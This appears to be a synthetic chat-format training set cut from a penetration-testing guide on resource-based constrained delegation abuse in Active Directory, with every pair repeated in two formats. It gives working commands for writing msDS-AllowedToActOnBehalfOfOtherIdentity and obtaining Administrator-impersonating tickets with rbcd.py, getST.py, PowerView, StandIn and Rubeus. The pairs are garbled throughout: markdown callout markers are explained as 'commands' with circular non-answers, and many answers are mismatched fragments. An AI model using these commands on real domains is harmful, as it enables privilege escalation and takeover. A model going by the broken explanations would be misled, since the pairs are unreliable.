> The SPN (Service Principal Name) set can have an impact on what services will be reachable. For instance, cifs/target.domain or host/target.domain will allow most remote dumping operations (more info on adsecurity.org). There however scenarios where the SPN can be changed (AnySPN) to access more service. This technique is automatically tried by Impacket scripts when doing pass-the-ticket.

---
Step 3: Pass-the-ticket :passport_control:

Once the ticket is obtained, it can be used with pass-the-ticket.

=== Windows

In order to run the following commands and tools as other users, testers can check the user impersonation part.

Step 1: edit the target's "rbcd" attribute (DACL abuse) :pencil2:

The PowerShell ActiveDirectory module's cmdlets Se

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How do I perform Append value to the msDS-AllowedToActOnBehalfOfOtherIdentity?

Response:
rbcd.py -delegate-from 'controlledaccount' -delegate-to 'target$' -dc-ip 'DomainController' -action 'write' 'domain'/'PowerfulUser':'Password'
``

> [!SUCCESS]
> Testers can also use ntlmrelayx to set the delegation rights with the --delegate-access option when conducting this attack from a relayed authentication.

> [!TIP]
> In this example, controlledaccount can be a computer account created for the attack, or any other account -with at least one Service Principal Name set for the usual technique, or without for SPN-less RBCD- which credentials are known to the attacker.

---
Step 2: obtain a ticket (delegation operation) :ticket:

Once the attribute has been modified, the Impacket script getST (Python) can then perform all the necessary steps to obtain the final "impersonating" ST (in this case, "Administrator" is impersonated but it can be any user in the environment).

`bash
getST.py -spn 'cifs/target' -impersonate Administrator -dc-ip 'DomainController' 'domain/controlledaccountwithSPN:SomePassword'
`

> [!CAUTION]
> In some cases, the delegation will not work. Depending on the context, the bronze bit vulnerability (CVE-2020-17049) can be used with the -force-forwardable option to try to bypass restrictions.

> [!TIP]
> The SPN (Service Principal Name) set can have an impact on what services will be reachable. For instance, cifs/target.domain or host/target.domain will allow most remote dumping operations (more info on adsecurity.org). There however scenarios where the SPN can be changed (AnySPN) to access more service. This technique is automatically tried by Impacket scripts when doing pass-the-ticket.

---
Step 3: Pass-the-ticket :passport_control:

Once the ticket is obtained, it can be used with pass-the-ticket.

=== Windows

In order to run the following commands and tools as other users, testers can check the user impersonation part.

Step 1: edit the target's "rbcd" attribute (DACL abuse) :pencil2:

The PowerShell ActiveDirectory module's cmdlets Se


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out Append value to the msDS-AllowedToActOnBehalfOfOtherIdentity during a pentest?

[Assistant]
> [!SUCCESS]
> Testers can also use [ntlmrelayx](https://github.com/SecureAuthCorp/impacket/blob/master/examples/ntlmrelayx.py) to set the delegation rights with the `--delegate-access` option when conducting this attack from a [relayed authentication](../../ntlm/relay.md).

> [!TIP]
> In this example, `controlledaccount` can be [a computer account created for the attack](../../builtins/machineaccountquota.md#create-a-computer-account), or any other account -with at least one Service Principal Name set for the usual technique, or without for [SPN-less RBCD](rbcd.md#rbcd-on-spn-less-users)- which credentials are known to the attacker.

---
**Step 2**: obtain a ticket (delegation operation) :ticket:

Once the attribute has been modified, the [Impacket](https://github.com/SecureAuthCorp/impacket) script [getST](https://github.com/SecureAuthCorp/impacket/blob/master/examples/getST.py) (Python) can then perform all the necessary steps to obtain the final "impersonating" ST (in this case, "Administrator" is impersonated but it can be any user in the environment).

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out Append value to the msDS-AllowedToActOnBehalfOfOtherIdentity during a pentest?

Response:
> [!SUCCESS]
> Testers can also use [ntlmrelayx](https://github.com/SecureAuthCorp/impacket/blob/master/examples/ntlmrelayx.py) to set the delegation rights with the `--delegate-access` option when conducting this attack from a [relayed authentication](../../ntlm/relay.md).

> [!TIP]
> In this example, `controlledaccount` can be [a computer account created for the attack](../../builtins/machineaccountquota.md#create-a-computer-account), or any other account -with at least one Service Principal Name set for the usual technique, or without for [SPN-less RBCD](rbcd.md#rbcd-on-spn-less-users)- which credentials are known to the attacker.

---
**Step 2**: obtain a ticket (delegation operation) :ticket:

Once the attribute has been modified, the [Impacket](https://github.com/SecureAuthCorp/impacket) script [getST](https://github.com/SecureAuthCorp/impacket/blob/master/examples/getST.py) (Python) can then perform all the necessary steps to obtain the final "impersonating" ST (in this case, "Administrator" is impersonated but it can be any user in the environment).


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `> [!SUCCESS]`?

[Assistant] This command is used for append value to the msds-allowedtoactonbehalfofotheridentity. Append value to the msDS-AllowedToActOnBehalfOfOtherIdentity

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `> [!SUCCESS]`?

Response: This command is used for append value to the msds-allowedtoactonbehalfofotheridentity. Append value to the msDS-AllowedToActOnBehalfOfOtherIdentity


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do Append value to the msDS-AllowedToActOnBehalfOfOtherIdentity

[Assistant]
> [!CAUTION]
> In [some cases](./#theory), the delegation will not work. Depending on the context, the [bronze bit ](bronze-bit.md)vulnerability (CVE-2020-17049) can be used with the `-force-forwardable` option to try to bypass restrictions.

> [!TIP]
> The SPN (Service Principal Name) set can have an impact on what services will be reachable. For instance, `cifs/target.domain` or `host/target.domain` will allow most remote dumping operations (more info on [adsecurity.org](https://adsecurity.org/?page_id=183)). There however scenarios where the SPN can be changed ([AnySPN](../ptt.md#modifying-the-spn)) to access more service. This technique is automatically tried by Impacket scripts when doing pass-the-ticket.

---
**Step 3**: Pass-the-ticket :passport_control:

Once the ticket is obtained, it can be used with [pass-the-ticket](../ptt.md).

=== Windows

In order to run the following commands and tools as other users, testers can check the [user impersonation](../../credentials/impersonation.md) part.

**Step 1**: edit the target's "rbcd" attribute ([DACL abuse](../../dacl/)) :pencil2:

The [PowerShell ActiveDirectory module](https://docs.microsoft.com/en-us/powershell/module/addsadministration/?view=win10-ps)'s cmdlets Set-ADComputer and Get-ADComputer can be used to write and read the attributed of an object (in this case, to modify the delegation rights).

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Show me how to do Append value to the msDS-AllowedToActOnBehalfOfOtherIdentity

Response:
> [!CAUTION]
> In [some cases](./#theory), the delegation will not work. Depending on the context, the [bronze bit ](bronze-bit.md)vulnerability (CVE-2020-17049) can be used with the `-force-forwardable` option to try to bypass restrictions.

> [!TIP]
> The SPN (Service Principal Name) set can have an impact on what services will be reachable. For instance, `cifs/target.domain` or `host/target.domain` will allow most remote dumping operations (more info on [adsecurity.org](https://adsecurity.org/?page_id=183)). There however scenarios where the SPN can be changed ([AnySPN](../ptt.md#modifying-the-spn)) to access more service. This technique is automatically tried by Impacket scripts when doing pass-the-ticket.

---
**Step 3**: Pass-the-ticket :passport_control:

Once the ticket is obtained, it can be used with [pass-the-ticket](../ptt.md).

=== Windows

In order to run the following commands and tools as other users, testers can check the [user impersonation](../../credentials/impersonation.md) part.

**Step 1**: edit the target's "rbcd" attribute ([DACL abuse](../../dacl/)) :pencil2:

The [PowerShell ActiveDirectory module](https://docs.microsoft.com/en-us/powershell/module/addsadministration/?view=win10-ps)'s cmdlets Set-ADComputer and Get-ADComputer can be used to write and read the attributed of an object (in this case, to modify the delegation rights).


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `> [!CAUTION]`?

[Assistant] This command is used for append value to the msds-allowedtoactonbehalfofotheridentity. Append value to the msDS-AllowedToActOnBehalfOfOtherIdentity

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `> [!CAUTION]`?

Response: This command is used for append value to the msds-allowedtoactonbehalfofotheridentity. Append value to the msDS-AllowedToActOnBehalfOfOtherIdentity


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Describe Read the security descriptor in the context of penetration testing

[Assistant] Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Describe Read the security descriptor in the context of penetration testing

Response: Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for Read the security descriptor?

[Assistant] Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for Read the security descriptor?

Response: Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What is Populate the msDS-AllowedToActOnBehalfOfOtherIdentity?

[Assistant]
Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount 'controlledaccountwithSPN'
``

PowerSploit's PowerView module is an alternative that can be used to edit the attribute (source).

``bash

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What is Populate the msDS-AllowedToActOnBehalfOfOtherIdentity?

Response:
Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount 'controlledaccountwithSPN'
``

PowerSploit's PowerView module is an alternative that can be used to edit the attribute (source).

``bash


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out Populate the msDS-AllowedToActOnBehalfOfOtherIdentity during a pentest?

[Assistant]
Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount 'controlledaccountwithSPN'
``

PowerSploit's PowerView module is an alternative that can be used to edit the attribute (source).

``bash

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out Populate the msDS-AllowedToActOnBehalfOfOtherIdentity during a pentest?

Response:
Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount 'controlledaccountwithSPN'
``

PowerSploit's PowerView module is an alternative that can be used to edit the attribute (source).

``bash


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for Populate the msDS-AllowedToActOnBehalfOfOtherIdentity

[Assistant] PowerSploit's [PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1) module is an alternative that can be used to edit the attribute ([source](https://powersploit.readthedocs.io/en/latest/Recon/Set-DomainObject/)).

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for Populate the msDS-AllowedToActOnBehalfOfOtherIdentity

Response: PowerSploit's [PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1) module is an alternative that can be used to edit the attribute ([source](https://powersploit.readthedocs.io/en/latest/Recon/Set-DomainObject/)).


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `PowerSploit's [PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1) module is an alternative that can be used to edit the attribute ([source](https://powersploit.readthedocs.io/en/latest/Recon/Set-DomainObject/)).`?

[Assistant] This command is used for populate the msds-allowedtoactonbehalfofotheridentity. Populate the msDS-AllowedToActOnBehalfOfOtherIdentity

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `PowerSploit's [PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1) module is an alternative that can be used to edit the attribute ([source](https://powersploit.readthedocs.io/en/latest/Recon/Set-DomainObject/)).`?

Response: This command is used for populate the msds-allowedtoactonbehalfofotheridentity. Populate the msDS-AllowedToActOnBehalfOfOtherIdentity


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about Obtain the SID of the controlled account with SPN (e.g. Computer account)?

[Assistant] $ComputerSid = Get-DomainComputer "controlledaccountwithSPN" -Properties objectsid | Select -Expand objectsid

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about Obtain the SID of the controlled account with SPN (e.g. Computer account)?

Response: $ComputerSid = Get-DomainComputer "controlledaccountwithSPN" -Properties objectsid | Select -Expand objectsid


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do Obtain the SID of the controlled account with SPN (e.g. Computer account)

[Assistant] $ComputerSid = Get-DomainComputer "controlledaccountwithSPN" -Properties objectsid | Select -Expand objectsid

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Show me how to do Obtain the SID of the controlled account with SPN (e.g. Computer account)

Response: $ComputerSid = Get-DomainComputer "controlledaccountwithSPN" -Properties objectsid | Select -Expand objectsid


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Describe Build a generic ACE with the attacker-added computer SID as the pricipal, and get the binary bytes for the new DACL/ACE in the context of penetration testing

[Assistant]
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Describe Build a generic ACE with the attacker-added computer SID as the pricipal, and get the binary bytes for the new DACL/ACE in the context of penetration testing

Response:
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on Build a generic ACE with the attacker-added computer SID as the pricipal, and get the binary bytes for the new DACL/ACE

[Assistant]
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on Build a generic ACE with the attacker-added computer SID as the pricipal, and get the binary bytes for the new DACL/ACE

Response:
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Describe set SD in the msDS-AllowedToActOnBehalfOfOtherIdentity field of the target comptuer account in the context of penetration testing

[Assistant]
Get-DomainComputer "target$" | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
``

FuzzSecurity's StandIn project is another alternative in C# (.NET assembly) to edit the attribute (source).

``powershell

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Describe set SD in the msDS-AllowedToActOnBehalfOfOtherIdentity field of the target comptuer account in the context of penetration testing

Response:
Get-DomainComputer "target$" | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
``

FuzzSecurity's StandIn project is another alternative in C# (.NET assembly) to edit the attribute (source).

``powershell


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do set SD in the msDS-AllowedToActOnBehalfOfOtherIdentity field of the target comptuer account

[Assistant]
Get-DomainComputer "target$" | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
``

FuzzSecurity's StandIn project is another alternative in C# (.NET assembly) to edit the attribute (source).

``powershell

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Show me how to do set SD in the msDS-AllowedToActOnBehalfOfOtherIdentity field of the target comptuer account

Response:
Get-DomainComputer "target$" | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
``

FuzzSecurity's StandIn project is another alternative in C# (.NET assembly) to edit the attribute (source).

``powershell


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out set SD in the msDS-AllowedToActOnBehalfOfOtherIdentity field of the target comptuer account during a pentest?

[Assistant] FuzzSecurity's [StandIn](https://github.com/FuzzySecurity/StandIn) project is another alternative in C# (.NET assembly) to edit the attribute ([source](https://github.com/FuzzySecurity/StandIn#add-msds-allowedtoactonbehalfofotheridentity)).

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out set SD in the msDS-AllowedToActOnBehalfOfOtherIdentity field of the target comptuer account during a pentest?

Response: FuzzSecurity's [StandIn](https://github.com/FuzzySecurity/StandIn) project is another alternative in C# (.NET assembly) to edit the attribute ([source](https://github.com/FuzzySecurity/StandIn#add-msds-allowedtoactonbehalfofotheridentity)).


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `FuzzSecurity's [StandIn](https://github.com/FuzzySecurity/StandIn) project is another alternative in C# (.NET assembly) to edit the attribute ([source](https://github.com/FuzzySecurity/StandIn#add-msds-allowedtoactonbehalfofotheridentity)).`?

[Assistant] This command is used for set sd in the msds-allowedtoactonbehalfofotheridentity field of the target comptuer account. set SD in the msDS-AllowedToActOnBehalfOfOtherIdentity field of the target comptuer account

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `FuzzSecurity's [StandIn](https://github.com/FuzzySecurity/StandIn) project is another alternative in C# (.NET assembly) to edit the attribute ([source](https://github.com/FuzzySecurity/StandIn#add-msds-allowedtoactonbehalfofotheridentity)).`?

Response: This command is used for set sd in the msds-allowedtoactonbehalfofotheridentity field of the target comptuer account. set SD in the msDS-AllowedToActOnBehalfOfOtherIdentity field of the target comptuer account


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of Obtain the SID of the controlled account with SPN (e.g. Computer account)

[Assistant] StandIn.exe --object samaccountname=controlledaccountwithSPNName

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of Obtain the SID of the controlled account with SPN (e.g. Computer account)

Response: StandIn.exe --object samaccountname=controlledaccountwithSPNName


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do Obtain the SID of the controlled account with SPN (e.g. Computer account)

[Assistant] StandIn.exe --object samaccountname=controlledaccountwithSPNName

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response: StandIn.exe --object samaccountname=controlledaccountwithSPNName


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain Add the object to the msDS-AllowedToActOnBehalfOfOtherIdentity of the targeted computer

[Assistant]
StandIn.exe --computer "target" --sid "controlledaccountwithSPN's SID"
``

The Invoke-PassTheCert fork can also be used, authenticating through Schannel via PassTheCert.

> Note: the README contains the methodology to request a certificate using certreq from Windows (with a password, or an NTHash).
``powershell

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Explain Add the object to the msDS-AllowedToActOnBehalfOfOtherIdentity of the targeted computer

Response:
StandIn.exe --computer "target" --sid "controlledaccountwithSPN's SID"
``

The Invoke-PassTheCert fork can also be used, authenticating through Schannel via PassTheCert.

> Note: the README contains the methodology to request a certificate using certreq from Windows (with a password, or an NTHash).
``powershell


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on Add the object to the msDS-AllowedToActOnBehalfOfOtherIdentity of the targeted computer

[Assistant]
StandIn.exe --computer "target" --sid "controlledaccountwithSPN's SID"
``

The Invoke-PassTheCert fork can also be used, authenticating through Schannel via PassTheCert.

> Note: the README contains the methodology to request a certificate using certreq from Windows (with a password, or an NTHash).
``powershell

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on Add the object to the msDS-AllowedToActOnBehalfOfOtherIdentity of the targeted computer

Response:
StandIn.exe --computer "target" --sid "controlledaccountwithSPN's SID"
``

The Invoke-PassTheCert fork can also be used, authenticating through Schannel via PassTheCert.

> Note: the README contains the methodology to request a certificate using certreq from Windows (with a password, or an NTHash).
``powershell


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of Add an object (e.g. WANHADELHEG$) to the msDS-AllowedToActOnBehalfOfOtherIdentity of the targeted computer (e.g. RBESEEDEE$)

[Assistant]
Invoke-PassTheCert -Action 'LDAPExploit' -LdapConnection $LdapConnection -Exploit 'RBCD' -Identity 'CN=WANHADELHEG,CN=Computers,DC=X' -Target 'CN=RBESEEDEE,CN=Computers,DC=X'
``

---
Step 2: obtain a ticket (delegation operation) :ticket:

Rubeus can then be used to request the TGT and "impersonation ST", and inject it for later use.

``powershell

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of Add an object (e.g. WANHADELHEG$) to the msDS-AllowedToActOnBehalfOfOtherIdentity of the targeted computer (e.g. RBESEEDEE$)

Response:
Invoke-PassTheCert -Action 'LDAPExploit' -LdapConnection $LdapConnection -Exploit 'RBCD' -Identity 'CN=WANHADELHEG,CN=Computers,DC=X' -Target 'CN=RBESEEDEE,CN=Computers,DC=X'
``

---
Step 2: obtain a ticket (delegation operation) :ticket:

Rubeus can then be used to request the TGT and "impersonation ST", and inject it for later use.

``powershell


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out Add an object (e.g. WANHADELHEG$) to the msDS-AllowedToActOnBehalfOfOtherIdentity of the targeted computer (e.g. RBESEEDEE$) during a pentest?

[Assistant]
Invoke-PassTheCert -Action 'LDAPExploit' -LdapConnection $LdapConnection -Exploit 'RBCD' -Identity 'CN=WANHADELHEG,CN=Computers,DC=X' -Target 'CN=RBESEEDEE,CN=Computers,DC=X'
``

---
Step 2: obtain a ticket (delegation operation) :ticket:

Rubeus can then be used to request the TGT and "impersonation ST", and inject it for later use.

``powershell

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out Add an object (e.g. WANHADELHEG$) to the msDS-AllowedToActOnBehalfOfOtherIdentity of the targeted computer (e.g. RBESEEDEE$) during a pentest?

Response:
Invoke-PassTheCert -Action 'LDAPExploit' -LdapConnection $LdapConnection -Exploit 'RBCD' -Identity 'CN=WANHADELHEG,CN=Computers,DC=X' -Target 'CN=RBESEEDEE,CN=Computers,DC=X'
``

---
Step 2: obtain a ticket (delegation operation) :ticket:

Rubeus can then be used to request the TGT and "impersonation ST", and inject it for later use.

``powershell


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through Add an object (e.g. WANHADELHEG$) to the msDS-AllowedToActOnBehalfOfOtherIdentity of the targeted computer (e.g. RBESEEDEE$)

[Assistant]
---
**Step 2**: obtain a ticket (delegation operation) :ticket:

[Rubeus](https://github.com/GhostPack/Rubeus) can then be used to request the TGT and "impersonation ST", and inject it for later use.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Walk me through Add an object (e.g. WANHADELHEG$) to the msDS-AllowedToActOnBehalfOfOtherIdentity of the targeted computer (e.g. RBESEEDEE$)

Response:
---
**Step 2**: obtain a ticket (delegation operation) :ticket:

[Rubeus](https://github.com/GhostPack/Rubeus) can then be used to request the TGT and "impersonation ST", and inject it for later use.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `---`?

[Assistant] This command is used for add an object (e.g. wanhadelheg$) to the msds-allowedtoactonbehalfofotheridentity of the targeted computer (e.g. rbeseedee$). Add an object (e.g. WANHADELHEG$) to the msDS-AllowedToActOnBehalfOfOtherIdentity of the targeted computer (e.g. RBESEEDEE$)

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response: This command is used for add an object (e.g. wanhadelheg$) to the msds-allowedtoactonbehalfofotheridentity of the targeted computer (e.g. rbeseedee$). Add an object (e.g. WANHADELHEG$) to the msDS-AllowedToActOnBehalfOfOtherIdentity of the targeted computer (e.g. RBESEEDEE$)


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain OR - Request a TGT for a specific account

[Assistant] Rubeus.exe asktgt /user:"controlledaccountwithSPN" /aes256:$aesKey /nowrap

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Explain OR - Request a TGT for a specific account

Response: Rubeus.exe asktgt /user:"controlledaccountwithSPN" /aes256:$aesKey /nowrap


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on OR - Request a TGT for a specific account

[Assistant] Rubeus.exe asktgt /user:"controlledaccountwithSPN" /aes256:$aesKey /nowrap

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on OR - Request a TGT for a specific account

Response: Rubeus.exe asktgt /user:"controlledaccountwithSPN" /aes256:$aesKey /nowrap


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about Request the "impersonation" service ticket using RC4 Key?

[Assistant] Rubeus.exe s4u /nowrap /impersonateuser:"administrator" /msdsspn:"cifs/target" /domain:"domain" /user:"controlledaccountwithSPN" /rc4:$NThash

